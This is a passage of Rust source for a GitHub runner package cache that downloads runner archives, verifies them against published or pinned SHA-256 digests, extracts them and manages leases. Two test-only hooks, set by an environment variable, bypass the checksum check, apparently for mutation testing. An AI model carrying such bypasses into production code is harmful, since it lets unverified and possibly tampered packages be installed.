1use std::collections::BTreeMap;
94use std::fmt;
95use std::fs;
96use std::io::{self, Read};
97use std::path::{Component, Path, PathBuf};
98use std::sync::{Arc, Mutex};
99
100use runner_manager_domain::attempt::{AttemptState, FailureReason, RunnerAttempt};
101use runner_manager_domain::model::{Arch, AttemptId, Clock, Elapsed, Os, Timestamp};
102use runner_manager_github::rest::{RunnerDownload, RunnerDownloads};
103use runner_manager_platform::os::{self as host_os, UnsupportedHost};
104use runner_manager_platform::paths::AppPaths;
105use serde::{Deserialize, Serialize};
106use sha2::{Digest, Sha256};
107
108const PACKAGES_DIR: &str = "packages";
114const TOOL_CACHE_DIR: &str = "tool-cache";
118const STAGING_DIR: &str = ".staging";
121const LEASES_DIR: &str = ".leases";
123const LEASE_EXTENSION: &str = "lease";
124const MANIFEST_FILE: &str = ".runner-package.json";
126
127pub const FRESHNESS_WINDOW_DAYS: i64 = 30;
131
132pub const CHECK_INTERVAL_HOURS: i64 = 6;
136
137pub const RETRY_BUDGET: u32 = 3;
140
141#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
161#[serde(try_from = "String", into = "String")]
162pub struct RunnerVersion {
163 parts: Vec<u64>,
165 raw: String,
166}
167
168impl RunnerVersion {
169 const MAX_LEN: usize = 64;
172 const MIN_PARTS: usize = 2;
173 const MAX_PARTS: usize = 4;
174
175 pub fn parse(raw: &str) -> Result<Self, PackageError> {
179 let unrecognised = || PackageError::UnrecognisedVersion {
180 raw: raw.to_string(),
181 };
182 if raw.is_empty() || raw.len() > Self::MAX_LEN {
183 return Err(unrecognised());
184 }
185 let mut parts = Vec::new();
186 for segment in raw.split('.') {
187 if segment.is_empty() || !segment.bytes().all(|b| b.is_ascii_digit()) {
188 return Err(unrecognised());
189 }
190 parts.push(segment.parse::<u64>().map_err(|_| unrecognised())?);
191 }
192 if parts.len() < Self::MIN_PARTS || parts.len() > Self::MAX_PARTS {
193 return Err(unrecognised());
194 }
195 Ok(Self {
196 parts,
197 raw: raw.to_string(),
198 })
199 }
200
201 pub fn from_filename(filename: &str) -> Result<Self, PackageError> {
213 let (stem, _) = ArchiveKind::split(filename)?;
214 let last = stem.rsplit('-').next().unwrap_or(stem);
221 Self::parse(last)
222 }
223
224 #[must_use]
225 pub fn as_str(&self) -> &str {
226 &self.raw
227 }
228}
229
230impl fmt::Display for RunnerVersion {
231 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
232 f.write_str(&self.raw)
233 }
234}
235
236impl TryFrom<String> for RunnerVersion {
237 type Error = PackageError;
238
239 fn try_from(value: String) -> Result<Self, Self::Error> {
240 Self::parse(&value)
241 }
242}
243
244impl From<RunnerVersion> for String {
245 fn from(value: RunnerVersion) -> Self {
246 value.raw
247 }
248}
249
250#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
262#[serde(try_from = "String", into = "String")]
263pub struct Sha256Hex(String);
264
265impl Sha256Hex {
266 const LEN: usize = 64;
267
268 pub fn parse(raw: &str) -> Result<Self, PackageError> {
271 let trimmed = raw.trim();
272 if trimmed.len() != Self::LEN || !trimmed.bytes().all(|b| b.is_ascii_hexdigit()) {
273 return Err(PackageError::MalformedDigest {
274 raw: trimmed.to_string(),
275 });
276 }
277 Ok(Self(trimmed.to_ascii_lowercase()))
278 }
279
280 #[must_use]
281 pub fn as_str(&self) -> &str {
282 &self.0
283 }
284}
285
286impl fmt::Display for Sha256Hex {
287 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
288 f.write_str(&self.0)
289 }
290}
291
292impl TryFrom<String> for Sha256Hex {
293 type Error = PackageError;
294
295 fn try_from(value: String) -> Result<Self, Self::Error> {
296 Self::parse(&value)
297 }
298}
299
300impl From<Sha256Hex> for String {
301 fn from(value: Sha256Hex) -> Self {
302 value.0
303 }
304}
305
306#[derive(Debug, Clone, Copy, PartialEq, Eq)]
314pub enum PublishedChecksum {
315 Absent,
317 Empty,
319 Malformed,
321}
322
323impl PublishedChecksum {
324 #[must_use]
325 pub const fn describe(self) -> &'static str {
326 match self {
327 Self::Absent => "no sha256_checksum",
328 Self::Empty => "an empty sha256_checksum",
329 Self::Malformed => "a malformed sha256_checksum",
330 }
331 }
332}
333
334impl fmt::Display for PublishedChecksum {
335 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
336 f.write_str(self.describe())
337 }
338}
339
340fn sha256_file(path: &Path) -> Result<Sha256Hex, PackageError> {
346 let mut file = fs::File::open(path).map_err(|source| PackageError::Io {
347 what: "open the downloaded package for verification",
348 path: path.to_path_buf(),
349 source,
350 })?;
351 let mut hasher = Sha256::new();
352 let mut buffer = vec![0_u8; 128 * 1024];
353 loop {
354 let read = file.read(&mut buffer).map_err(|source| PackageError::Io {
355 what: "read the downloaded package for verification",
356 path: path.to_path_buf(),
357 source,
358 })?;
359 if read == 0 {
360 break;
361 }
362 hasher.update(&buffer[..read]);
363 }
364 Sha256Hex::parse(&hex::encode(hasher.finalize()))
365}
366
367#[derive(Debug, Clone, Copy, PartialEq, Eq)]
379enum ArchiveKind {
380 Zip,
381 TarGz,
382}
383
384impl ArchiveKind {
385 fn split(filename: &str) -> Result<(&str, Self), PackageError> {
387 let lower = filename.to_ascii_lowercase();
388 for (extension, kind) in [
389 (".tar.gz", Self::TarGz),
390 (".tgz", Self::TarGz),
391 (".zip", Self::Zip),
392 ] {
393 if lower.ends_with(extension) {
394 return Ok((&filename[..filename.len() - extension.len()], kind));
395 }
396 }
397 Err(PackageError::UnsupportedArchive {
398 filename: filename.to_string(),
399 })
400 }
401}
402
403#[derive(Debug, thiserror::Error)]
424pub enum PackageError {
425 #[error("{0}")]
428 UnsupportedHost(#[from] UnsupportedHost),
429
430 #[error("GitHub publishes no runner package for {os}/{arch}")]
434 NoPackagePublished { os: Os, arch: Arch },
435
436 #[error(
449 "GitHub published {} for runner package {version} ({os}/{arch}), so it \
450 cannot be verified and will not be installed. Pin the digest you have \
451 independently confirmed for {version} and retry.",
452 published.describe()
453 )]
454 ChecksumAbsent {
455 version: RunnerVersion,
456 os: Os,
457 arch: Arch,
458 published: PublishedChecksum,
459 },
460
461 #[error(
464 "runner package {version} does not match its published SHA-256 \
465 (published {expected}, downloaded {actual}); the partial download was \
466 discarded and nothing was extracted"
467 )]
468 ChecksumMismatch {
469 version: RunnerVersion,
470 expected: Sha256Hex,
471 actual: Sha256Hex,
472 },
473
474 #[error("`{raw}` is not a SHA-256 digest; a digest is 64 hexadecimal characters")]
476 MalformedDigest { raw: String },
477
478 #[error(
481 "GitHub rejected the runner version{}{}. Runners more than \
482 {FRESHNESS_WINDOW_DAYS} days behind the latest release are refused. \
483 Install the current package and start a new attempt; retrying this one \
484 cannot succeed.",
485 version.as_ref().map(|v| format!(" {v}")).unwrap_or_default(),
486 detail.as_ref().map(|d| format!(": {d}")).unwrap_or_default()
487 )]
488 VersionRejected {
489 version: Option<RunnerVersion>,
490 detail: Option<String>,
491 },
492
493 #[error("the runner download metadata could not be read: {detail}")]
495 CatalogUnavailable { detail: String },
496
497 #[error("the runner package could not be downloaded: {detail}")]
499 Download { detail: String },
500
501 #[error("`{raw}` is not a runner version")]
503 UnrecognisedVersion { raw: String },
504
505 #[error("`{filename}` is not a runner package archive this agent can extract")]
507 UnsupportedArchive { filename: String },
508
509 #[error("runner package entry `{entry}` escapes the directory it is extracted into")]
516 UnsafeArchiveEntry { entry: String },
517
518 #[error("the runner package archive could not be extracted: {detail}")]
520 Extract { detail: String },
521
522 #[error(
524 "runner package {version} is still held by attempt {attempt}, which is \
525 `{state}` and not terminal; it will be prunable once that attempt \
526 concludes"
527 )]
528 VersionInUse {
529 version: RunnerVersion,
530 attempt: AttemptId,
531 state: AttemptState,
536 },
537
538 #[error(
541 "runner package {version} is held by attempt {attempt}, which is not in \
542 the attempt set supplied; refusing to prune a version whose holder \
543 cannot be shown to be terminal. Release the lease explicitly if that \
544 attempt is known to be gone."
545 )]
546 VersionHeldByUnknownAttempt {
547 version: RunnerVersion,
548 attempt: AttemptId,
549 },
550
551 #[error(
554 "the runner package lease at `{}` cannot be read, so which version it \
555 holds is unknown; refusing to prune anything until it is resolved",
556 path.display()
557 )]
558 UnreadableLease { path: PathBuf },
559
560 #[error(
562 "attempt {attempt} has its runtime at `{}`, which is inside the runner \
563 package cache. Job workspaces are disposable and the cache is \
564 immutable; a workspace here would be destroyed by a prune and would \
565 mutate an entry that every other runtime is copied from.",
566 path.display()
567 )]
568 WorkspaceInsideCache { attempt: AttemptId, path: PathBuf },
569
570 #[error("runner package {version} is not installed")]
572 NotInstalled { version: RunnerVersion },
573
574 #[error("cannot {what} at `{}`: {source}", path.display())]
575 Io {
576 what: &'static str,
577 path: PathBuf,
578 #[source]
579 source: io::Error,
580 },
581
582 #[error("giving up after {attempts} attempts: {source}")]
584 Exhausted {
585 attempts: u32,
586 #[source]
587 source: Box<PackageError>,
588 },
589}
590
591impl PackageError {
592 #[must_use]
598 pub fn is_terminal(&self) -> bool {
599 match self {
600 Self::UnsupportedHost(_)
604 | Self::NoPackagePublished { .. }
605 | Self::ChecksumAbsent { .. }
606 | Self::MalformedDigest { .. }
607 | Self::VersionRejected { .. }
608 | Self::UnrecognisedVersion { .. }
609 | Self::UnsupportedArchive { .. }
610 | Self::UnsafeArchiveEntry { .. }
611 | Self::VersionInUse { .. }
612 | Self::VersionHeldByUnknownAttempt { .. }
613 | Self::UnreadableLease { .. }
614 | Self::WorkspaceInsideCache { .. }
615 | Self::NotInstalled { .. } => true,
616 Self::ChecksumMismatch { .. }
619 | Self::CatalogUnavailable { .. }
620 | Self::Download { .. }
621 | Self::Extract { .. }
622 | Self::Io { .. } => false,
623 Self::Exhausted { .. } => true,
625 }
626 }
627
628 #[must_use]
634 pub fn failure_reason(&self) -> Option<FailureReason> {
635 match self {
636 Self::ChecksumAbsent { .. }
637 | Self::ChecksumMismatch { .. }
638 | Self::MalformedDigest { .. }
639 | Self::UnsafeArchiveEntry { .. } => Some(FailureReason::RunnerPackageUnverified),
640 Self::VersionRejected { .. } => Some(FailureReason::RunnerVersionRejected),
641 Self::Exhausted { source, .. } => source.failure_reason(),
642 _ => None,
643 }
644 }
645
646 #[must_use]
649 pub fn operator_action(&self) -> Option<&'static str> {
650 match self {
651 Self::UnsupportedHost(_) => Some(
652 "run the agent on a documented operating system and architecture, \
653 or add this host to the supported matrix",
654 ),
655 Self::NoPackagePublished { .. } => Some(
656 "check that GitHub publishes a runner package for this host's \
657 operating system and architecture",
658 ),
659 Self::ChecksumAbsent { .. } => Some(
660 "confirm the package digest independently and pin it, or wait \
661 for GitHub to publish a checksum; the package will not be \
662 installed unverified",
663 ),
664 Self::MalformedDigest { .. } => {
665 Some("correct the pinned digest to 64 hexadecimal characters")
666 }
667 Self::VersionRejected { .. } => Some(
668 "install the current runner package and start a new attempt; \
669 this one cannot be retried into success",
670 ),
671 Self::UnsupportedArchive { .. } | Self::UnrecognisedVersion { .. } => Some(
672 "GitHub's runner download metadata is not in a shape this agent \
673 recognises; report it rather than working around it",
674 ),
675 Self::UnsafeArchiveEntry { .. } => Some(
676 "the runner package archive contains an entry that writes \
677 outside the cache; do not install it and report it",
678 ),
679 Self::VersionInUse { .. } => {
680 Some("wait for the attempt holding this version to conclude")
681 }
682 Self::VersionHeldByUnknownAttempt { .. } => Some(
683 "release the lease for the attempt named above if it is known to \
684 be gone, then prune again",
685 ),
686 Self::UnreadableLease { .. } => Some(
687 "inspect the lease file named above; delete it once the attempt \
688 it belonged to is known to be gone, then prune again",
689 ),
690 Self::WorkspaceInsideCache { .. } => {
691 Some("place job workspaces under the runtime directory")
692 }
693 Self::NotInstalled { .. } => Some("install the version before referencing it"),
694 Self::Exhausted { source, .. } => source.operator_action(),
695 Self::ChecksumMismatch { .. }
696 | Self::CatalogUnavailable { .. }
697 | Self::Download { .. }
698 | Self::Extract { .. }
699 | Self::Io { .. } => None,
700 }
701 }
702}
703
704#[async_trait::async_trait]
729pub trait DownloadCatalog: fmt::Debug + Send + Sync {
730 async fn published(&self) -> Result<RunnerDownloads, PackageError>;
736}
737
738#[async_trait::async_trait]
751pub trait PackageFetcher: fmt::Debug + Send + Sync {
752 async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError>;
758}
759
760#[async_trait::async_trait]
762pub trait Backoff: fmt::Debug + Send + Sync {
763 async fn wait(&self, attempt: u32);
765}
766
767#[derive(Debug, Clone, Copy)]
769pub struct ExponentialBackoff {
770 base: std::time::Duration,
771 cap: std::time::Duration,
772}
773
774impl ExponentialBackoff {
775 #[must_use]
776 pub const fn new(base: std::time::Duration, cap: std::time::Duration) -> Self {
777 Self { base, cap }
778 }
779}
780
781impl Default for ExponentialBackoff {
782 fn default() -> Self {
783 Self::new(
784 std::time::Duration::from_secs(2),
785 std::time::Duration::from_secs(30),
786 )
787 }
788}
789
790#[async_trait::async_trait]
791impl Backoff for ExponentialBackoff {
792 async fn wait(&self, attempt: u32) {
793 let factor = 1_u32 << attempt.min(16);
794 let delay = self.base.saturating_mul(factor).min(self.cap);
795 tokio::time::sleep(delay).await;
796 }
797}
798
799#[derive(Debug, Clone, Copy, Default)]
801pub struct NoBackoff;
802
803#[async_trait::async_trait]
804impl Backoff for NoBackoff {
805 async fn wait(&self, _attempt: u32) {}
806}
807
808#[derive(Debug)]
819pub struct GatewayCatalog<G> {
820 gateway: G,
821 target: runner_manager_domain::model::ScaleTarget,
822}
823
824impl<G> GatewayCatalog<G> {
825 #[must_use]
826 pub const fn new(gateway: G, target: runner_manager_domain::model::ScaleTarget) -> Self {
827 Self { gateway, target }
828 }
829}
830
831#[async_trait::async_trait]
832impl<G> DownloadCatalog for GatewayCatalog<G>
833where
834 G: runner_manager_github::rest::InventoryGateway,
835{
836 async fn published(&self) -> Result<RunnerDownloads, PackageError> {
837 let cancel = runner_manager_github::rest::CancelToken::new();
838 self.gateway
839 .runner_downloads(&self.target, &cancel)
840 .await
841 .map_err(|error| PackageError::CatalogUnavailable {
842 detail: error.to_string(),
843 })
844 }
845}
846
847#[derive(Debug, Clone)]
853pub struct HttpFetcher {
854 client: reqwest::Client,
855}
856
857impl HttpFetcher {
858 #[must_use]
859 pub fn new(client: reqwest::Client) -> Self {
860 Self { client }
861 }
862}
863
864impl Default for HttpFetcher {
865 fn default() -> Self {
866 Self::new(reqwest::Client::new())
867 }
868}
869
870#[async_trait::async_trait]
871impl PackageFetcher for HttpFetcher {
872 async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
873 use futures::StreamExt as _;
874 use tokio::io::AsyncWriteExt as _;
875
876 let response = self
877 .client
878 .get(url)
879 .send()
880 .await
881 .and_then(reqwest::Response::error_for_status)
882 .map_err(|error| PackageError::Download {
883 detail: error.to_string(),
884 })?;
885
886 let mut file = tokio::fs::File::create(destination)
887 .await
888 .map_err(|source| PackageError::Io {
889 what: "create the package download file",
890 path: destination.to_path_buf(),
891 source,
892 })?;
893
894 let mut stream = response.bytes_stream();
895 let mut written = 0_u64;
896 while let Some(chunk) = stream.next().await {
897 let chunk = chunk.map_err(|error| PackageError::Download {
898 detail: error.to_string(),
899 })?;
900 written += chunk.len() as u64;
901 file.write_all(&chunk)
902 .await
903 .map_err(|source| PackageError::Io {
904 what: "write the package download file",
905 path: destination.to_path_buf(),
906 source,
907 })?;
908 }
909 file.flush().await.map_err(|source| PackageError::Io {
910 what: "flush the package download file",
911 path: destination.to_path_buf(),
912 source,
913 })?;
914 file.sync_all().await.map_err(|source| PackageError::Io {
915 what: "sync the package download file",
916 path: destination.to_path_buf(),
917 source,
918 })?;
919 Ok(written)
920 }
921}
922
923#[derive(Debug, Clone, Default, PartialEq, Eq)]
935pub struct PinnedDigests(BTreeMap<RunnerVersion, Sha256Hex>);
936
937impl PinnedDigests {
938 #[must_use]
939 pub fn new() -> Self {
940 Self::default()
941 }
942
943 pub fn pin(mut self, version: &str, digest: &str) -> Result<Self, PackageError> {
949 self.0
950 .insert(RunnerVersion::parse(version)?, Sha256Hex::parse(digest)?);
951 Ok(self)
952 }
953
954 #[must_use]
955 pub fn get(&self, version: &RunnerVersion) -> Option<&Sha256Hex> {
956 self.0.get(version)
957 }
958
959 #[must_use]
960 pub fn is_empty(&self) -> bool {
961 self.0.is_empty()
962 }
963}
964
965#[derive(Debug, Clone, Copy, PartialEq, Eq)]
971pub struct Freshness {
972 pub window: Elapsed,
974 pub check_interval: Elapsed,
976}
977
978impl Default for Freshness {
979 fn default() -> Self {
980 Self {
981 window: Elapsed::days(FRESHNESS_WINDOW_DAYS),
982 check_interval: Elapsed::hours(CHECK_INTERVAL_HOURS),
983 }
984 }
985}
986
987#[derive(Debug, Clone, PartialEq, Eq)]
993pub struct InstalledPackage {
994 version: RunnerVersion,
995 root: PathBuf,
996 installed_at: Timestamp,
997 digest: Sha256Hex,
998}
999
1000impl InstalledPackage {
1001 #[must_use]
1002 pub fn version(&self) -> &RunnerVersion {
1003 &self.version
1004 }
1005
1006 #[must_use]
1013 pub fn root(&self) -> &Path {
1014 &self.root
1015 }
1016
1017 #[must_use]
1021 pub const fn installed_at(&self) -> Timestamp {
1022 self.installed_at
1023 }
1024
1025 #[must_use]
1027 pub const fn digest(&self) -> &Sha256Hex {
1028 &self.digest
1029 }
1030}
1031
1032#[derive(Debug, Clone, Serialize, Deserialize)]
1035struct Manifest {
1036 version: RunnerVersion,
1037 digest: Sha256Hex,
1038 installed_at: Timestamp,
1039 filename: String,
1041}
1042
1043pub struct CachePorts {
1049 pub catalog: Arc<dyn DownloadCatalog>,
1050 pub fetcher: Arc<dyn PackageFetcher>,
1051 pub backoff: Arc<dyn Backoff>,
1052 pub clock: Arc<dyn Clock>,
1053}
1054
1055impl fmt::Debug for CachePorts {
1056 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1057 f.debug_struct("CachePorts")
1058 .field("catalog", &self.catalog)
1059 .field("fetcher", &self.fetcher)
1060 .field("backoff", &self.backoff)
1061 .field("clock", &self.clock)
1062 .finish()
1063 }
1064}
1065
1066#[derive(Debug)]
1068pub struct PackageCache {
1069 root: PathBuf,
1070 tool_cache: PathBuf,
1071 os: Os,
1072 arch: Arch,
1073 ports: CachePorts,
1074 pins: PinnedDigests,
1075 freshness: Freshness,
1076 retry_budget: u32,
1077 last_check: Mutex<Option<Timestamp>>,
1084}
1085
1086impl PackageCache {
1087 #[must_use]
1095 pub fn new(paths: &AppPaths, os: Os, arch: Arch, ports: CachePorts) -> Self {
1096 Self {
1097 root: paths.state_dir().join(PACKAGES_DIR),
1098 tool_cache: paths.state_dir().join(TOOL_CACHE_DIR),
1099 os,
1100 arch,
1101 ports,
1102 pins: PinnedDigests::new(),
1103 freshness: Freshness::default(),
1104 retry_budget: RETRY_BUDGET,
1105 last_check: Mutex::new(None),
1106 }
1107 }
1108
1109 #[must_use]
1110 pub fn with_pins(mut self, pins: PinnedDigests) -> Self {
1111 self.pins = pins;
1112 self
1113 }
1114
1115 #[must_use]
1116 pub const fn with_freshness(mut self, freshness: Freshness) -> Self {
1117 self.freshness = freshness;
1118 self
1119 }
1120
1121 #[must_use]
1124 pub const fn with_retry_budget(mut self, budget: u32) -> Self {
1125 self.retry_budget = if budget == 0 { 1 } else { budget };
1126 self
1127 }
1128
1129 #[must_use]
1131 pub fn root(&self) -> &Path {
1132 &self.root
1133 }
1134
1135 #[must_use]
1143 pub fn tool_cache_dir(&self) -> &Path {
1144 &self.tool_cache
1145 }
1146
1147 pub async fn ensure_installed(&self) -> Result<InstalledPackage, PackageError> {
1168 host_os::validate(self.os, self.arch)?;
1171
1172 let now = self.ports.clock.now();
1173 if !self.check_is_due(now)?
1174 && let Some(entry) = self.newest_installed()?
1175 {
1176 return Ok(entry);
1177 }
1178
1179 let mut last: Option<PackageError> = None;
1180 for attempt in 1..=self.retry_budget {
1181 match self.install_once().await {
1182 Ok(package) => {
1183 *self
1184 .last_check
1185 .lock()
1186 .unwrap_or_else(std::sync::PoisonError::into_inner) =
1187 Some(self.ports.clock.now());
1188 return Ok(package);
1189 }
1190 Err(error) if error.is_terminal() => return Err(error),
1191 Err(error) => {
1192 last = Some(error);
1193 if attempt < self.retry_budget {
1194 self.ports.backoff.wait(attempt).await;
1195 }
1196 }
1197 }
1198 }
1199 Err(PackageError::Exhausted {
1200 attempts: self.retry_budget,
1201 source: Box::new(last.expect("a spent budget leaves a failure behind")),
1202 })
1203 }
1204
1205 #[must_use]
1230 pub fn is_stale(&self, package: &InstalledPackage, now: Timestamp) -> bool {
1231 now.signed_duration_since(package.installed_at) > self.freshness.window
1232 }
1233
1234 fn check_is_due(&self, now: Timestamp) -> Result<bool, PackageError> {
1249 let Some(newest) = self.newest_installed()? else {
1250 return Ok(true);
1251 };
1252 if self.is_stale(&newest, now) {
1253 return Ok(true);
1254 }
1255 let last = *self
1256 .last_check
1257 .lock()
1258 .unwrap_or_else(std::sync::PoisonError::into_inner);
1259 Ok(match last {
1260 None => true,
1261 Some(at) => now.signed_duration_since(at) >= self.freshness.check_interval,
1262 })
1263 }
1264
1265 async fn install_once(&self) -> Result<InstalledPackage, PackageError> {
1267 let published = self.ports.catalog.published().await?;
1268
1269 let download =
1274 published
1275 .select(self.os, self.arch)
1276 .ok_or(PackageError::NoPackagePublished {
1277 os: self.os,
1278 arch: self.arch,
1279 })?;
1280 let version = RunnerVersion::from_filename(&download.filename)?;
1281
1282 if let Some(entry) = self.entry(&version)? {
1284 return Ok(entry);
1285 }
1286
1287 let now = self.ports.clock.now();
1290 if let Some(newest) = self.newest_installed()?
1291 && !self.is_stale(&newest, now)
1292 {
1293 return Ok(newest);
1294 }
1295
1296 let digest = self.required_digest(download, &version)?;
1297 self.download_verify_and_install(download, &version, &digest, now)
1298 .await
1299 }
1300
1301 fn required_digest(
1316 &self,
1317 download: &RunnerDownload,
1318 version: &RunnerVersion,
1319 ) -> Result<Sha256Hex, PackageError> {
1320 let published = match download.sha256_checksum() {
1321 None => PublishedChecksum::Absent,
1322 Some(raw) if raw.trim().is_empty() => PublishedChecksum::Empty,
1323 Some(raw) => match Sha256Hex::parse(raw) {
1324 Ok(digest) => return Ok(digest),
1325 Err(_) => PublishedChecksum::Malformed,
1326 },
1327 };
1328 #[cfg(test)]
1329 if std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref() == Ok("accept_missing_checksum") {
1330 return Sha256Hex::parse(&"00".repeat(32));
1331 }
1332 match self.pins.get(version) {
1333 Some(pinned) => Ok(pinned.clone()),
1334 None => Err(PackageError::ChecksumAbsent {
1335 version: version.clone(),
1336 os: self.os,
1337 arch: self.arch,
1338 published,
1339 }),
1340 }
1341 }
1342
1343 async fn download_verify_and_install(
1365 &self,
1366 download: &RunnerDownload,
1367 version: &RunnerVersion,
1368 expected: &Sha256Hex,
1369 now: Timestamp,
1370 ) -> Result<InstalledPackage, PackageError> {
1371 let (_, kind) = ArchiveKind::split(&download.filename)?;
1372 let staging_root = self.staging_root();
1373 create_dir_all(&staging_root)?;
1374 let token = uuid::Uuid::new_v4();
1375 let archive = staging_root.join(format!("download-{token}.archive"));
1376 let extracted = staging_root.join(token.to_string());
1377
1378 let outcome = self
1379 .fetch_verify_extract(download, version, expected, kind, &archive, &extracted)
1380 .await;
1381
1382 let removed = remove_file_if_present(&archive, "remove the package download");
1387 let () = outcome?;
1388 removed?;
1389
1390 let guard = StagingGuard::new(extracted.clone());
1391 let manifest = Manifest {
1392 version: version.clone(),
1393 digest: expected.clone(),
1394 installed_at: now,
1395 filename: download.filename.clone(),
1396 };
1397 write_json(&extracted.join(MANIFEST_FILE), &manifest)?;
1398
1399 let target = self.version_dir(version);
1400 create_dir_all(&self.root)?;
1401
1402 match fs::rename(&extracted, &target) {
1407 Ok(()) => {}
1408 Err(source) => {
1409 if let Some(entry) = self.entry(version)? {
1410 guard.disarm_into_sweep();
1411 return Ok(entry);
1412 }
1413 return Err(PackageError::Io {
1414 what: "commit the extracted runner package",
1415 path: target,
1416 source,
1417 });
1418 }
1419 }
1420 guard.disarm_into_sweep();
1421
1422 Ok(InstalledPackage {
1423 version: version.clone(),
1424 root: target,
1425 installed_at: now,
1426 digest: expected.clone(),
1427 })
1428 }
1429
1430 async fn fetch_verify_extract(
1436 &self,
1437 download: &RunnerDownload,
1438 version: &RunnerVersion,
1439 expected: &Sha256Hex,
1440 kind: ArchiveKind,
1441 archive: &Path,
1442 extracted: &Path,
1443 ) -> Result<(), PackageError> {
1444 self.ports
1445 .fetcher
1446 .fetch(&download.download_url, archive)
1447 .await?;
1448
1449 let archive_for_hash = archive.to_path_buf();
1452 let actual = tokio::task::spawn_blocking(move || sha256_file(&archive_for_hash))
1453 .await
1454 .map_err(|error| PackageError::Extract {
1455 detail: format!("the verification task failed: {error}"),
1456 })??;
1457
1458 #[cfg(test)]
1459 let checksum_matches = std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref()
1460 == Ok("skip_checksum_comparison")
1461 || actual == *expected;
1462 #[cfg(not(test))]
1463 let checksum_matches = actual == *expected;
1464 if !checksum_matches {
1465 return Err(PackageError::ChecksumMismatch {
1466 version: version.clone(),
1467 expected: expected.clone(),
1468 actual,
1469 });
1470 }
1471
1472 let archive_for_extract = archive.to_path_buf();
1473 let extracted_for_task = extracted.to_path_buf();
1474 tokio::task::spawn_blocking(move || {
1475 extract(&archive_for_extract, kind, &extracted_for_task)
1476 })
1477 .await
1478 .map_err(|error| PackageError::Extract {
1479 detail: format!("the extraction task failed: {error}"),
1480 })?
1481 }
1482
1483 fn version_dir(&self, version: &RunnerVersion) -> PathBuf {
1486 self.root.join(version.as_str())
1487 }
1488
1489 pub fn entry(&self, version: &RunnerVersion) -> Result<Option<InstalledPackage>, PackageError> {
1499 let root = self.version_dir(version);
1500 if !root.is_dir() {
1501 return Ok(None);
1502 }
1503 let Some(manifest) = read_json::<Manifest>(&root.join(MANIFEST_FILE))? else {
1504 return Ok(None);
1505 };
1506 Ok(Some(InstalledPackage {
1507 version: manifest.version,
1508 root,
1509 installed_at: manifest.installed_at,
1510 digest: manifest.digest,
1511 }))
1512 }
1513
1514 pub fn installed(&self) -> Result<Vec<InstalledPackage>, PackageError> {
1519 let mut found = Vec::new();
1520 let entries = match fs::read_dir(&self.root) {
1521 Ok(entries) => entries,
1522 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(found),
1523 Err(source) => {
1524 return Err(PackageError::Io {
1525 what: "read the runner package cache",
1526 path: self.root.clone(),
1527 source,
1528 });
1529 }
1530 };
1531 for entry in entries {
1532 let entry = entry.map_err(|source| PackageError::Io {
1533 what: "read the runner package cache",
1534 path: self.root.clone(),
1535 source,
1536 })?;
1537 let name = entry.file_name();
1538 let Some(name) = name.to_str() else { continue };
1539 if name.starts_with('.') {
1543 continue;
1544 }
1545 let Ok(version) = RunnerVersion::parse(name) else {
1546 continue;
1547 };
1548 if let Some(package) = self.entry(&version)? {
1549 found.push(package);
1550 }
1551 }
1552 found.sort_by(|a, b| a.version.cmp(&b.version));
1553 Ok(found)
1554 }
1555
1556 fn newest_installed(&self) -> Result<Option<InstalledPackage>, PackageError> {
1558 Ok(self
1559 .installed()?
1560 .into_iter()
1561 .max_by_key(|package| package.installed_at))
1562 }
1563
1564 fn leases_dir(&self) -> PathBuf {
1567 self.root.join(LEASES_DIR)
1568 }
1569
1570 fn lease_path(&self, attempt: AttemptId) -> PathBuf {
1571 self.leases_dir()
1572 .join(format!("{attempt}.{LEASE_EXTENSION}"))
1573 }
1574
1575 pub fn lease(
1595 &self,
1596 attempt: &RunnerAttempt,
1597 version: &RunnerVersion,
1598 ) -> Result<(), PackageError> {
1599 if self.entry(version)?.is_none() {
1600 return Err(PackageError::NotInstalled {
1601 version: version.clone(),
1602 });
1603 }
1604 let runtime = attempt.runtime_path();
1605 if is_inside(&self.root, runtime) {
1606 return Err(PackageError::WorkspaceInsideCache {
1607 attempt: attempt.id,
1608 path: runtime.to_path_buf(),
1609 });
1610 }
1611 create_dir_all(&self.leases_dir())?;
1612 write_json(
1613 &self.lease_path(attempt.id),
1614 &Lease {
1615 version: version.clone(),
1616 },
1617 )
1618 }
1619
1620 pub fn release(&self, attempt: AttemptId) -> Result<(), PackageError> {
1628 let path = self.lease_path(attempt);
1629 match fs::remove_file(&path) {
1630 Ok(()) => Ok(()),
1631 Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
1632 Err(source) => Err(PackageError::Io {
1633 what: "release a runner package lease",
1634 path,
1635 source,
1636 }),
1637 }
1638 }
1639
1640 pub fn holders(&self, version: &RunnerVersion) -> Result<Vec<AttemptId>, PackageError> {
1645 let mut holders = Vec::new();
1646 let dir = self.leases_dir();
1647 let entries = match fs::read_dir(&dir) {
1648 Ok(entries) => entries,
1649 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(holders),
1650 Err(source) => {
1651 return Err(PackageError::Io {
1652 what: "read the runner package leases",
1653 path: dir,
1654 source,
1655 });
1656 }
1657 };
1658 for entry in entries {
1659 let entry = entry.map_err(|source| PackageError::Io {
1660 what: "read the runner package leases",
1661 path: dir.clone(),
1662 source,
1663 })?;
1664 let path = entry.path();
1665 if path.extension().and_then(|e| e.to_str()) != Some(LEASE_EXTENSION) {
1666 continue;
1667 }
1668 if let Some(holder) = holder_of(&path, version)? {
1678 holders.push(holder);
1679 }
1680 }
1681 holders.sort_unstable();
1682 Ok(holders)
1683 }
1684
1685 pub(crate) fn prune(
1751 &self,
1752 version: &RunnerVersion,
1753 attempts: &[RunnerAttempt],
1754 ) -> Result<(), PackageError> {
1755 if self.entry(version)?.is_none() {
1756 return Err(PackageError::NotInstalled {
1757 version: version.clone(),
1758 });
1759 }
